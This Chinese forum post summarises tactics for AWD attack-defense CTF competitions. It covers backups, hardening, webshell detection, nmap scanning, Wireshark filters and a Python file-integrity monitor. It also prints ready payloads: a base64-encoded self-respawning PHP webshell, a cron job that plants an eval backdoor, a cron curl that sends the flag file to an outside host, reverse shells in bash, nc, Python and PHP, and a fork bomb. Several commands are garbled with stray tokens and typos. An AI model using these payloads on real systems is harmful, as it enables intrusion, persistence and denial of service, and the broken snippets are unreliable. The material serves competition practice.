安全矩阵

 找回密码
 立即注册
搜索
查看: 3000|回复: 0

关于Awd的小结

[复制链接]

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
发表于 2021-10-17 17:37:14 | 显示全部楼层 |阅读模式
原文链接:关于Awd的小结1,常规思路:
1.1 登录之后

  • rsa公钥登陆
  • 用户名/密码登陆


1.1.1:
修改密码;
(1)ssh密码
(2)mysql密码
1.1.2:
备份:
(1)tar备份:
  1. tar -zvxf /tmp/www.tar.gz /var/www/html/
复制代码
(2)scp备份:
  1. scp -P ssh_port user@host_ip:/tmp/bak.sql local_filebash
复制代码
(3)mysql备份:
  1. //备份
  2. mysqldump -u user -p passwd database > 1.sql
  3. //还原
  4. mysql -u user -p passwd database < 1.sql
复制代码
1.2 防御

1.2.1 查询操作:
  • 因为tar是不会备份隐藏文件的,所以需要ls -al查看一下是否存在后门
  • 用d盾或者seay查看一下是否存在预留的一句话木马
  • 利用grep -r "xxx" /var/www/html/ 查看一下是否有默认文件存在flag
  • 检测端口暴露的情况(3306..),如果MySQL的端口暴露,记得修改一下默认密码(也要修改php/java代码中的连接代码)
  • 查看有没有后门账户


1.2.2 脚本部署:
  • 日志监控部署(非必要:有些比赛主办方会提供流量)
  • waf部署(有时候waf会被check扣分,所有要看情况。主办方有可能也有要求不能上)
  • 文件监控(一般来说是需要在waf部署之后再部署)


1.3 攻击

  • 抄作业(看流量、别人留的后门可以上车。一句话密码可能是md5的,或许需要网上解码一下。如果是主办方要求不能上网:但是还是一屋子的iphone、honor...你晓得吧?)
  • 代码审计
  • 权限维持
  • 利用脚本快速得分(最好是不要一个一个flag交,非常狼狈)



2,详细步骤
2.1 确定目标

情况一:主办方提供
网络拓扑和端口范围
  • 攻击机、靶机、check 服务器


1.确定端口
  1. nmap 10.16.10.19 -p1-65535
复制代码
2.确定其他目标(扫描c段)
  1. nmap –sS 10.16.10.0/24
复制代码
情况二:主办方提供端口和ip且ip是连续的
直接干

2.2 代码审计

一般来说很可能会遇到一些tp、yii、laravel二次开发的框架,如果平时也有在收集这些链子的话可能也会用得到。
一般来说因为awd时间短,且代码量多所以考核的题目应该也不会太难
  • 漏洞类型

1.预置后门

  1. <font face="Tahoma">find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('</font>
复制代码
如果是ctf用户:最好是就修改一下连接密码就好,留一个预置后门。(直接用蚁剑连接操作作也不是不行 2.文件上传
  • 直接使用白名单文件上传

3.SQL注入
  • SQL注入

    • 防御方式:转义 ' " 、确认页面编码和数据库编码统一(基本上过滤90%

  • SQL写shell
  • MySQL端口暴露

    • 关闭端口暴露或者是修改默认的MySQL密码(注意配置文件也要修改

4.反序列化
  • 加过滤,匹配语句类型或者关键字

6.xxe
  • 禁止引用外部dtd

7.代码执行
  • 过滤一些关键函数

8.文件遍历
  • 过滤关键字


2.3 权限维持

2.3.1 文件读取
我认为权限维持有时候也没办要写不死马之类的,不过 要是所有操作一起上了也不是不行
条件允许的话也可以在php、js脚本文件,直接写一个读取flag文件的操作也可以在返回的header中(也不容易被发现

  1. header(php'flag:'.file_get_contents('/tmp/flag'));
复制代码
2.3.2  不死马
一般来说,都是通过定时任务不断的写shell达到"不死马"这个操作
php:
  1. file_put_contents('.1ndex.php',base64_decode('PD9waHAgIAogICAgc2V0X3RpbWVfbGltaXQoMCk7ICAKICAgIGlnbm9yZV91c2VyX2Fib3J0KDEpOyAgCiAgICB1bmxpbmsoX19GSUxFX18pOyAgCiAgICB3aGlsZSgxKXsgIAogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCcubG5kZXgucGhwJywnPD9waHAgaWYobWQ1KCRfR0VUWyJwYXNzIl0pPT0iN2I3ZmRmZmVmNDY0MDE5ZjcxOTBkMDM4NGQ1YjM4MzgiKXtAZXZhbCgkX1BPU1RbImNtZCJdKTt9ID8+Jyk7ICAKICAgICAgICBzbGVlcCgxKTsgIAogICAgfQo/Pg==+Jyk7ICAKICAgICAgICBzbGVlcCgwKTsgIAogICAgfQo/Pg=='));
  2. ?pass=me7eorite&cmd=system('cat /flag')
复制代码
Linux定时任务写马:
  1. system('echo "* * * * * echo "<?php if(md5(\\\\\\\\\$_POST[pass])==\'7b7fdffef464019f7190d0384d5b3838\'){@eval(\\\\\\\\\$_POST[1]);} " > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');
复制代码
如果被种马了怎么办:
  • 杀进程后重启服务
  • 写一个同名的文件夹
  • 写一个sleep时间低于别人的马(或者写一个脚本不断删除别人的马)

2.3.3 定时任务:
  • 使用定时任务发送带有flag的请求

  1. bash# 编辑 crontab:crontab -e
  2. */5 * * * * curl 10.10.10.5:8000/submit_flag/ -d 'flag='$(cat /home/web/flag/flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'
  3. # 查询 crontab:crontab -l
复制代码


  • 使用定时任务反弹shell

    • bash


  1. bash -c bash'bash -i >& /dev/tcp/[ip]/[port] 0>&1'

  2. nc -e /bin/bash 1.3.3.7 4444 bash
复制代码
  • python


  1. python -c bash'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_REAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
复制代码
  • php


  1. php -r bash'$sock=fsockopen("your_ip","4444");exec("/bin/sh -i <&3 >&3 2>&3");'
复制代码

如果因为定时任务一直失分咋办?
  • 杀进程(ps -ef / px -aux)

一般/bin/sh是nc服务
  1. kill `ps -aux | grep www-data | grep apache2 | awk '{print $2}'
复制代码
如果是ctf权限的话,那只能写个马执行这个命令

2.3.4 宕机:
如果遇到不得不宕机的情况可以使用
  1. :(){:|:&};:
复制代码
3,关于脚本

3.1 上传waf

check机制可能会check到waf过滤的参数,导致宕机(所以上传waf要慎重
  1. php.ini
  2. auto_prepend_file=waf.php;
  3. bash
  4. sudo find /var/www/html/ -bashtype f -path "*.php" | xargs sed -i "s/<?php /<?php\nrequire_once('\/tmp\/waf.php');\n/g"
复制代码
可以在upload目录下写.htaccess禁止php文件执行
  1. <Directory "/var/www/html/upload">
  2. Options -ExecCGI -Indexes
  3. AllowOverride None
  4. RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
  5. RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
  6. php_flag engine off
  7. <FilesMatch ".+\.ph(p[3457]?|t|tml)$">
  8. deny from all
  9. </FilesMatch>
  10. </Directory>
复制代码
3.2主办方提供流量


可以使用wireshark
基础用法:
  • 过滤IP地址

  • ip.addr == 192.168.1.1 //只显示源/目的IP为192.168.1.1的数据包
  • not ip.src == 1.1.1.1 //不显示源IP为1.1.1.1的数据包
  • ip.src == 1.1.1.1 or ip.dst == 1.1.1.2 //只显示源IP为1.1.1.1或目的IP为1.1.1.2的数据包

  • 过滤端口

  • tcp.port eq 80 #不管端口是来源还是目的都显示80端口
  • tcp.port == 80
  • tcp.port eq 2722
  • tcp.port eq 80 or udp.port eq 80
  • tcp.dstport == 80 #只显示tcp协议的目标端口80
  • tcp.srcport == 80 #只显示tcp协议的来源端口80
  • udp.port eq 15000
  • tcp.port >= 1 and tcp.port <= 80 #过滤端口范围

  • 过滤MAC地址

  • eth.dst == MAC地址 #过滤目标MAC
  • eth.src eq MAC地址 #过滤来源MAC 3.eth.addr eq MAC地址 #过滤来源MAC和目标MAC都等于MAC地址的

  • http请求方式过滤

  • http.request.method == “GET” 2.http.request.method == “POST” 3.http.host mathes “www.baidu.com|http://baidu.cn“ #matches可以写多个域名
  • http.host contains “http://www.baidu.com“ #contain只能写一个域名
  • http contains “GET”

多条过滤语句执行:
  1. http.request.method ==”GET” && http contains “Host: “ http.request.method == “GET” && http contains “User-Agent: “ http.request.method ==”POST” && http contains “Host: “ http.request.method == “POST” && http contains “User-Agent: “ http contains “HTTP/1.1 200 OK” && http contains “Content-Type: “ http contains “HTTP/1.0 200 OK” && http contains “Content-Type: “
复制代码
4.3 文件监控

(此为基于python的脚本)
如果靶机没有python环境,那还需要在安装一下
  1. python# -*- coding: utf-8 -*-
  2. #use: python file_check.py ./
  3. import os
  4. import hashlib
  5. import shutil
  6. import ntpath
  7. import time
  8. CWD = os.getcwd()
  9. FILE_MD5_DICT = {} # 文件MD5字典
  10. ORIGIN_FILE_LIST = []
  11. # 特殊文件路径字符串
  12. Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
  13. bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
  14. logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
  15. webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
  16. difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'
  17. Special_string = 'drops_log' # 免死金牌
  18. UNICODE_ENCODING = "utf-8"
  19. INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"
  20. # 文件路径字典
  21. spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
  22. Special_path = {
  23.   'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
  24.   'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
  25.   'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
  26.   'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
  27. }

  28. def isListLike(value):
  29.   return isinstance(value, (list, tuple, set))
  30. # 获取Unicode编码
  31. def getUnicode(value, encoding=None, noneToNull=False):
  32.   if noneToNull and value is None:
  33.       return NULL
  34.   if isListLike(value):
  35.       value = list(getUnicode(_, encoding, noneToNull) for _ in value)
  36.       return value
  37.   if isinstance(value, unicode):
  38.       return value
  39.   elif isinstance(value, basestring):
  40.       while True:
  41.           try:
  42.               return unicode(value, encoding or UNICODE_ENCODING)
  43.           except UnicodeDecodeError, ex:
  44.               try:
  45.                   return unicode(value, UNICODE_ENCODING)
  46.               except:
  47.                   value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
  48.   else:
  49.       try:
  50.           return unicode(value)
  51.       except UnicodeDecodeError:
  52.           return unicode(str(value), errors="ignore")
  53. # 目录创建
  54. def mkdir_p(path):
  55.   import errno
  56.   try:
  57.       os.makedirs(path)
  58.   except OSError as exc:
  59.       if exc.errno == errno.EEXIST and os.path.isdir(path):
  60.           passcur
  61.       else: raise
  62. # 获取当前所有文件路径
  63. def getfilelist(cwd):
  64.   filelist = []
  65.   for root,subdirs, files in os.walk(cwd):
  66.       for filepath in files:cur
  67.           originalfile = os.path.join(root, filepath)
  68.           if Special_path_str not in originalfile:
  69.               filelist.append(originalfile)
  70.   return filelist
  71. # 计算机文件MD5值
  72. def calcMD5(filepath):
  73.   try:
  74.       with open(filepath,'rb') as f:
  75.           md5obj = hashlib.md5()
  76.           md5obj.update(f.read())
  77.           hash = md5obj.hexdigest()
  78.           return hash
  79.   except Exception, e:
  80.       print u'[!] getmd5_error : ' + getUnicode(filepath)
  81.       print getUnicode(e)
  82.       try:
  83.           ORIGIN_FILE_LIST.remove(filepath)
  84.           FILE_MD5_DICT.pop(filepath, None)
  85.       except KeyError, e:
  86.           pass
  87. # 获取所有文件MD5
  88. def getfilemd5dict(filelist = []):
  89.   filemd5dict = {}
  90.   for ori_file in filelist:
  91.       if Special_path_str not in ori_file:
  92.           md5 = calcMD5(os.path.realpath(ori_file))
  93.           if md5:
  94.               filemd5dict[ori_file] = md5
  95.   return filemd5dict
  96. # 备份所有文件
  97. def backup_file(filelist=[]):
  98.   # if len(os.listdir(Special_path['bak'])) == 0:
  99.   for filepath in filelist:
  100.       if Special_path_str not in filepath:
  101.           shutil.copy2(filepath, Special_path['bak'])
  102. if __name__ == '__main__':
  103.   print u'---------start------------'
  104.   for value in Special_path:
  105.       mkdir_p(Special_path[value])
  106.   # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
  107.   ORIGIN_FILE_LIST = getfilelist(CWD)
  108.   FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
  109.   backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
  110.   print u'[*] pre work end!'
  111.   while True:
  112.       file_list = getfilelist(CWD)
  113.       # 移除新上传文件
  114.       diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
  115.       if len(diff_file_list) != 0:
  116.           # import pdb;pdb.set_trace()
  117.           for filepath in diff_file_list:
  118.               try:
  119.                   f = open(filepath, 'r').read()
  120.               except Exception, e:
  121.                   break
  122.               if Special_string not in f:
  123.                   try:
  124.                       print u'[*] webshell find : ' + getUnicode(filepath)
  125.                       shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
  126.                   except Exception as e:
  127.                       print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
  128.                   try:
  129.                       f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
  130.                       f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
  131.                       f.close()
  132.                   except Exception as e:
  133.                       print u'[-] log error : file move error: ' + getUnicode(e)
  134.       # 防止任意文件被修改,还原被修改文件
  135.       md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
  136.       for filekey in md5_dict:
  137.           if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
  138.               try:
  139.                   f = open(filekey, 'r').read()
  140.               except Exception, e:
  141.                   break
  142.               if Special_string not in f:
  143.                   try:
  144.                       print u'[*] file had be change : ' + getUnicode(filekey)
  145.                       shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
  146.                       shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
  147.                   except Exception as e:
  148.                       print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
  149.                   try:
  150.                       f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
  151.                       f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
  152.                       f.close()
  153.                   except Exception as e:
  154.                       print u'[-] log error : done_diff: ' + getUnicode(filekey)
  155.                       pass
  156.       time.sleep(2)
  157.       # print '[*] ' + getUnicode(time.ctime())
复制代码






回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 20:28 , Processed in 0.019127 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表